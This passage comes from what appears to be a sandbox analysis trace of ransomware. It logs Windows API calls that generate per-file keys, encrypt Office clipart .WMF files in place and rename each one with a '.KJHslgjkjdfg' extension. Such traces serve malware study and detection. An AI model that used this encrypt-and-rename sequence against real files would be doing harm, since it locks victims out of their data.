(in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.033] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.034] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.034] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.034] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x32c, lpOverlapped=0x0) returned 1 [0194.034] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x330, dwBufLen=0x330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x330) returned 1 [0194.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.034] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x330, lpOverlapped=0x0) returned 1 [0194.034] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.034] SetEndOfFile (hFile=0x130) returned 1 [0194.036] GetProcessHeap () returned 0x2ef0000 [0194.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.036] GetProcessHeap () returned 0x2ef0000 [0194.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.kjhslgjkjdfg")) returned 1 [0194.037] CloseHandle (hObject=0x130) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0194.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.039] GetProcessHeap () returned 0x2ef0000 [0194.039] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.039] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.039] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0194.040] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.040] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.040] GetProcessHeap () returned 0x2ef0000 [0194.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.041] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.041] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.041] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.041] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.041] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.041] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.041] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.042] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.042] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.042] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x332e, lpOverlapped=0x0) returned 1 [0194.043] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3330, dwBufLen=0x3330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3330) returned 1 [0194.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.043] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3330, lpOverlapped=0x0) returned 1 [0194.043] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.043] SetEndOfFile (hFile=0x130) returned 1 [0194.045] GetProcessHeap () returned 0x2ef0000 [0194.045] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.045] GetProcessHeap () returned 0x2ef0000 [0194.045] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.kjhslgjkjdfg")) returned 1 [0194.048] CloseHandle (hObject=0x130) returned 1 [0194.048] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0194.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.049] GetProcessHeap () returned 0x2ef0000 [0194.049] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.049] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.049] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0194.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.051] GetProcessHeap () returned 0x2ef0000 [0194.052] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.052] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.052] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.052] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.052] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.053] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.053] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.053] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x69aa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x69aa, lpOverlapped=0x0) returned 1 [0194.054] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x69b0, dwBufLen=0x69b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x69b0) returned 1 [0194.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.054] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x69b0, lpOverlapped=0x0) returned 1 [0194.054] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.054] SetEndOfFile (hFile=0x130) returned 1 [0194.057] GetProcessHeap () returned 0x2ef0000 [0194.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.057] GetProcessHeap () returned 0x2ef0000 [0194.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.kjhslgjkjdfg")) returned 1 [0194.058] CloseHandle (hObject=0x130) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0194.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.058] GetProcessHeap () returned 0x2ef0000 [0194.058] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.058] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.058] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.060] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.060] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.060] GetProcessHeap () returned 0x2ef0000 [0194.060] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.061] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.061] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.061] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.061] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.061] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b54, lpOverlapped=0x0) returned 1 [0194.062] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b60, dwBufLen=0x1b60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b60) returned 1 [0194.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.062] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b60, lpOverlapped=0x0) returned 1 [0194.062] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.063] SetEndOfFile (hFile=0x130) returned 1 [0194.065] GetProcessHeap () returned 0x2ef0000 [0194.065] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.065] GetProcessHeap () returned 0x2ef0000 [0194.065] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.065] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.kjhslgjkjdfg")) returned 1 [0194.066] CloseHandle (hObject=0x130) returned 1 [0194.066] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0194.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.067] GetProcessHeap () returned 0x2ef0000 [0194.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.067] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.069] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.069] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.069] GetProcessHeap () returned 0x2ef0000 [0194.069] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.069] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.069] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.069] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.070] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.070] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.070] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2576, 